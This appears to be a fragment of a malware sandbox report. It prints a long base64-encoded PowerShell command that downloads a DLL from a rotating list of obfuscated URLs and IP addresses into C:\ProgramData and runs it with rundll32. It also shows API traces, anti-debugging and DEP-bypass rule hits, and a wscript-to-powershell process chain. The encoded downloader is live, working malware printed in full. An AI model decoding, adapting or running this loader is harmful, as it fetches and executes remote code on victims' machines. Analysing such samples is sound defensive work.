EEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABFAEEATgBBAEEAMwBBAEMANABBAE0AUQBBAHoAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATwBBAEEAPQAiADsAJABvAHIAZABpAG4AYQByAGkAYQB0AGUATwB1AHQAdABoAHIAdQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBNAFEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBOAHcAQQB5AEEAQwA4AEEAWgB3AEIAUwBBAEMAOABBAGEAQQBCADMAQQBHADQAQQBWAFEAQQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFUAQQBPAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAFUAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdgBBAEYAYwBBAE0AUQBBAHYAQQBHAFUAQQBhAEEAQgBtAEEAQQA9AD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaABBAEgAUQBBAGIAUQBCAHYAQQBIAE0AQQBkAEEAQgBsAEEARwBFAEEAVQB3AEIAMQBBAEgAQQBBAFoAUQBCAHkAQQBIAFEAQQBaAFEAQgB5AEEASABJAEEAWQBRAEIAdQBBAEcAVQBBAFkAUQBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBjAEEAYQBBAEIAMABBAEcAawBBAGIAZwBCAG4AQQBDADgAQQBjAHcAQQB2AEEARgBNAEEATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAG0AQQBHAEkAQQBiAFEAQgBUAEEARQBFAEEAVABnAEEAMwBBAEEAPQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdgBBAEcANABBAGQAdwBBADAAQQBFAHcAQQBkAEEAQQB2AEEASABZAEEAVwBBAEEAMgBBAEUAMABBAE4AZwBBAD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAE4AZwBCAFUAQQBIAGMAQQBRAHcAQgBGAEEARQBzAEEAIgA7ACQAUwBwAGEAcgBzAGkAbwBwAGwAYQBzAHQAQQBzAHMAZQBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgA1AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGUAUQBCAHMAQQBHADgAQQBaAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEYAQQBBAGIAdwBCAHMAQQBIAGsAQQBZAHcAQgBvAEEARwBFAEEAYwB3AEIAcABBAEcARQBBAEwAZwBCAGoAQQBHADgAQQBaAGcAQgBtAEEARwBVAEEAWgBRAEEAPQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUANABBAFoAUQBCADMAQQBIAE0AQQBiAFEAQgBsAEEARwA0AEEATABnAEIAagBBAEcARQBBAFkAZwBBAD0AcQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBHADgAQQBlAEEAQgBwAEEARwBNAEEAYgB3AEIAawBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEASABRAEEAYQBRAEIAegBBAEMANABBAGIAUQBCAGwAQQBBAD0APQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAQQBCAGgAQQBHAE0AQQBhAHcAQgAwAEEARwA4AEEAYwBBAEIAegBBAEMANABBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQQA9AD0AIgA7ACQAdQBuAGEAbgB0AGkAYwBpAHAAYQB0AGUAZABsAHkAVQBuAGQAZQBwAHIAZQBjAGEAdABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGQAUQBCADAAQQBHADgAQQBZAHcAQgA1AEEASABNAEEAZABBAEIAdgBBAEgAQQBBAGIAQQBCAGgAQQBIAE0AQQBkAEEAQgA1AEEAQwA0AEEAWgB3AEIAcABBAEgAWQBBAFoAUQBCAHoAQQBBAD0APQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQA1AEEARABrAEEATABnAEEANQBBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBhAEEAQgBsAEEASABnAEEAYQBRAEIAawBBAEcAawBBAGIAZwBCAGwAQQBFADAAQQBiAHcAQgB1AEEARwA4AEEAYgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBkAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEEAPQA9AGYARgBjAE4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEAMgBBAEMANABBAE0AUQBBADUAQQBEAEUAQQBMAGcAQQAzAEEARABFAEEATABnAEEAeQBBAEQASQBBAE0AZwBBAD0AIgA7ACQAcgBlAHAAZQBhAHQAZQByAEMAbwBsAGwAbwBxAHUAaQBhAGwAaQB0AHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AUQBBADAAQQBEAFEAQQBMAGcAQQB4AEEARABZAEEATQBRAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJAB1AG4AcwB0AG8AcABwAGEAYgBsAGUATwBrAGUAbgBpAHQAZQAgAGkAbgAgACQAbwByAGQAaQBuAGEAcgBpAGEAdABlAE8AdQB0AHQAaAByAHUAcwB0ACAALQBzAHAAbABpAHQAIAAiAE0AeAAiACkAIAB7ACQAYwBoAG8AbgBkAHIAbwBpAHQAaQBuAE8AYwBoAGwAbwBjAHIAYQB0AGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAHcAQQB1AEEARABJAEEATQBRAEEANQBBAEMANABBAE0AZwBBAHkAQQBEAEkAQQBMAGcAQQB4AEEARABRAEEATgBnAEEAPQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAGcAQQB4AEEARABNAEEAegB4AE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAMgBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBAHcAQQBBAD0APQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAWQB3AEIAcwBBAEgAVQBBAGQAQQBCADAAQQBHAFUAQQBjAGcAQQB1AEEARwBvAEEAWgBRAEIAMABBAEgAbwBBAGQAQQBBAD0AIgA7ACQAZABpAHAAaAB5AGMAZQByAGMAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBOAGcAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHkAQQBEAEEAQQBPAEEAQQA9AGIAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGEAQQBCAGwAQQBHAGsAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAbgBBAEcARQBBAGIAQQBCADUAQQBFAFUAQQBiAFEAQgB3AEEARwA4AEEAYwBnAEIAMABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBMAGcAQgBsAEEARwBFAEEAYwBnAEIAMABBAEcAZwBBACIAOwB0AHIAeQAgAHsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFcAaABpAHQAZQBkAGEAbQBwAEMAaAB1AGYAZgB5ACAAPQAgACQAdQBuAHMAdABvAHAAcABhAGIAbABlAE8AawBlAG4AaQB0AGUAOwAkAFQAcgBvAGcAZwBzAEgAeQBwAG8AZwBlAHUAcwBpAGEAIAA9ACAAIgBhAHcAQgB1AEEARwBVAEEAWgBRAEIAcwBBAEcAVQBBAGMAZwBCAHoAQQBFAHcAQQBZAFEAQgBpAEEARwBVAEEAYgBBAEIAcwBBAEcAVQBBAFoAQQBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQQA9AD0AIgA7ACQAQQB1AHQAbwBwAG8AcwBpAHQAaQB2AGUAQgBhAGcAaABsAGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBoAGkAdABlAGQAYQBtAHAAQwBoAHUAZgBmAHkAKQApADsAJABsAG8AcABzAGkAZABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVAByAG8AZwBnAHMASAB5AHAAbwBnAGUAdQBzAGkAYQApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEEAdQB0AG8AcABvAHMAaQB0AGkAdgBlAEIAYQBnAGgAbABhACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbABvAHAAcwBpAGQAZQBkADsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFQAZQBpAG4AZABlAHIAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABsAG8AcABzAGkAZABlAGQAKQAuAEwAZQBuAGcAdABoADsAJABzAGwAYQB1AGcAaAB0AGUAcgBlAHIAUwBpAG0AYgBsAGkAbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAGMAdwBCAGgAQQBHAE0AQQBjAGcAQgBwAEEARwBZAEEAYQBRAEIAagBBAEcAVQBBAFkAUQBCAGkAQQBHAHcAQQBlAFEAQgBWAEEARwA0AEEAYgBBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAEEAQgBwAEEARwBNAEEAZABBAEIAMQBBAEgASQBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABDAG8AYQByAGIAaQB0AHIAYQB0AG8AcgBQAG8AZQBzAGkAbABlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGEAQQBCADEAQQBHAG8AQQBZAFEAQgB6AEEAQwA0AEEAWgB3AEIAcABBAEcAWQBBAGQAQQBBAD0AUABwAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABrAEEATABnAEEAeABBAEQAVQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEAdwBBAEQAawBBAFAAcABQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE8AQQBBAHgAQQBBAD0APQAiADsAaQBmACAAKAAkAFQAZQBpAG4AZABlAHIAIAAtAGcAZQAgADUANAAzADQAMgApAHsAJABSAGUAbQBpAG4AdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAeQBBAEMANABBAE0AZwBBAHoAQQBEAEEAQQBMAGcAQQA1AEEARABJAEEATABnAEEAeQBBAEQARQBBAE0AUQBBAD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGMAdwBCAGwAQQBIAFUAQQBaAEEAQgBsAEEASABBAEEAYQBRAEIAbgBBAEgASQBBAFkAUQBCAHcAQQBHAGcAQQBhAFEAQgBqAEEARQBFAEEAYwBnAEIAagBBAEcAZwBBAGEAUQBCAHQAQQBHAFUAQQBaAEEAQgBsAEEARwBFAEEAYgBnAEEAdQBBAEcASQBBAGMAZwBCADEAQQBIAE0AQQBjAHcAQgBsAEEARwB3AEEAYwB3AEEAPQBwAEwAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEASABrAEEAYwBBAEIAdgBBAEgAUQBBAGEAQQBCAGwAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEAQQA9AD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE0AdwBBAHUAQQBEAEUAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHgAQQBEAFEAQQBOAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHYAQQBHAE0AQQBjAGcAQgBoAEEARwBNAEEAZQBRAEIAVABBAEgAVQBBAFkAZwBCAHoAQQBHAE0AQQBiAEEAQgBsAEEASABJAEEAYgB3AEIAMABBAEcAawBBAFkAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEASABRAEEAYQBBAEIAcABBAEcAOABBAFkAdwBCAGgAQQBIAEkAQQBZAGcAQgBwAEEARwAwAEEAYQBRAEIAawBBAEcAVQBBAFUAZwBCAGwAQQBHAEkAQQBiAHcAQgAxAEEARwA0AEEAWgBBAEIAbABBAEgASQBBAEkAZwBBADcAQQBDAFEAQQBjAHcAQgBsAEEARwAwAEEAYQBRAEIAbQBBAEcAVQBBAGQAUQBCAGsAQQBHAEUAQQBiAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEcAVQBBAGIAUQBCAHAAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAdQBBAEcAYwBBAFUAQQBCAHYAQQBHAHcAQQBlAFEAQgB3AEEARwBFAEEAYwBnAEIAcABBAEgAVQBBAGIAUQBBAGkAQQBEAHMAQQBKAEEAQgBOAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAGIAQQBCAHAAQQBIAFEAQQBaAFEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEgAUQBBAGEAQQBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQBnAEIAdgBBAEcAdwBBAGQAQQBCAHoAQQBGAFkAQQBZAFEAQgB6AEEASABRAEEAYQBRAEIAbABBAEgASQBBAEkAZwBBADcAQQBHAE0AQQBiAFEAQgBrAEEAQwBBAEEATAB3AEIAagBBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYQB3AEIAdQBBAEcAVQBBAFoAUQBCAHMAQQBHAFUAQQBjAGcAQgB6AEEARQB3AEEAWQBRAEIAaQBBAEcAVQBBAGIAQQBCAHMAQQBHAFUAQQBaAEEAQQB1AEEARwBRAEEAYgBBAEIAcwBBAEMAdwBBAGIAUQBCAHYAQQBIAEkAQQBaAFEAQQA3AEEAQwBRAEEAUgB3AEIAMQBBAEcAawBBAFoAQQBCAGgAQQBHADQAQQBZAHcAQgBsAEEARQBNAEEAWQBRAEIAdABBAEcASQBBAGMAZwBCAGwAQQBHAHcAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAVgBBAEcANABBAGQAdwBCAG8AQQBHAGsAQQBiAFEAQgB3AEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAGkAQQBEAHMAQQBKAEEAQgBTAEEARwBVAEEAZABnAEIAbABBAEcANABBAFoAdwBCAGwAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFEAQQBHAGcAQQBhAFEAQgBzAEEARwBrAEEAYwBBAEIAdwBBAEcAawBBAGMAdwBCAHQAQQBDAEkAQQBPAHcAQQBrAEEARQBrAEEAYwBnAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEEAQQBaAFEAQgBUAEEARwB3AEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHMAQQBHAEUAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAaQBBAEUASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBwAEEASABNAEEAZABBAEEAaQBBAEQAcwBBAEoAQQBCAFEAQQBIAFUAQQBjAEEAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARQBNAEEAYgB3AEIAcwBBAEcAdwBBAFkAUQBCAHkAQQBHAEkAQQBhAFEAQgB5AEEARwBRAEEAVgBRAEIAdQBBAEcAWQBBAFoAUQBCAHAAQQBHAGMAQQBiAGcAQgBsAEEARwBRAEEAYgBnAEIAbABBAEgATQBBAGMAdwBBAGkAQQBEAHMAQQAiADsAJABTAHAAYQBsAGwAYQBiAGwAZQBIAHUAcwBiAGEAbgBkAGwAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABnAEEATQBRAEEAdQBBAEQAYwBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQAwAEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWgBRAEIAeQBBAEcAMABBAFkAUQBCAHUAQQBHAGsAQQBlAGcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAFMAQQBCADUAQQBHAFEAQQBZAFEAQgAwAEEARwA4AEEAYgBRAEIAdgBBAEgASQBBAGMAQQBCAG8AQQBHAGsAQQBZAHcAQQB1AEEASABJAEEAWgBRAEIAdQBBAEgAUQBBAFkAUQBCAHMAQQBIAE0AQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbABBAEgAQQBBAGEAUQBCAGoAQQBHAGcAQQBhAFEAQgBzAEEARQBVAEEAYwB3AEIAegBBAEcAOABBAGEAUQBCAHUAQQBHAFUAQQBjAGcAQQB1AEEARwBRAEEAYQBRAEIAbgBBAEcAawBBAGQAQQBCAGgAQQBHAHcAQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVgBBAEcANABBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEARgBNAEEAZABRAEIAaQBBAEcAYwBBAGIAQQBCAHYAQQBIAFEAQQBkAEEAQgBoAEEARwB3AEEATABnAEIAeQBBAEcAOABBACIAOwAkAHMAdwBpAG4AZQBwAGkAcABlAE4AbwBuAGkAbABsAHUAcwBpAHYAZQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEANQBBAEQAUQBBAHoAWQBMAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEASABVAEEAWQB3AEIAcgBBAEgAQQBBAGEAUQBCAHUAQQBFADQAQQBaAFEAQgBzAEEASABNAEEAYgB3AEIAdQBBAEMANABBAGIAZwBCADUAQQBHAE0AQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE4AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBADUAQQBEAEkAQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAQQBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQB5AEEARABJAEEATgBBAEEAdQBBAEQAZwBBAE8AUQBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process powershell -encodedcommand 